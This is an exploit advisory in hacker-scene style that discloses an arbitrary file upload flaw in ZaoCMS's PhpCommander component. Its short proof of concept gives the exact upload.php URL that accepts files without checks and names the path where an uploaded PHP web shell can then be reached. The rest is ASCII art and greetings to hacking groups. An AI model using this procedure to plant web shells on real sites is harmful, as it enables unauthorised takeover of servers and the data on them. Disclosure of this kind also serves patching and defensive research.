ZaoCMS (PhpCommander) Arbitary Remote File Upload Vulnerability

|| || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . =By: Qabandi =Email: iqa[a]hotmail.fr From Kuwait PEACE =Vuln: ZaoCMS (PhpCommander) - Arbitrary File Upload =INFO: http://zaocms.com/ =BUY: http://zaocms.com/ =DORK: -- @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-File-Upload-PoC-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Go to: http://localhost/admin/functions/PhpCommander/upload.php?Directory=./&sort=NomASC&action=upload Upload shell location: http://localhost/documents/SHELL.PHP @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-==-==-=-3la-ra7atkum-shabab-=-:P=-=-=-==-=-==-=-=-=-=-=-=-=- =-=-=-=-==-=-=-=-=-=-No--More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers. Special Thanks: ThE g0bL!N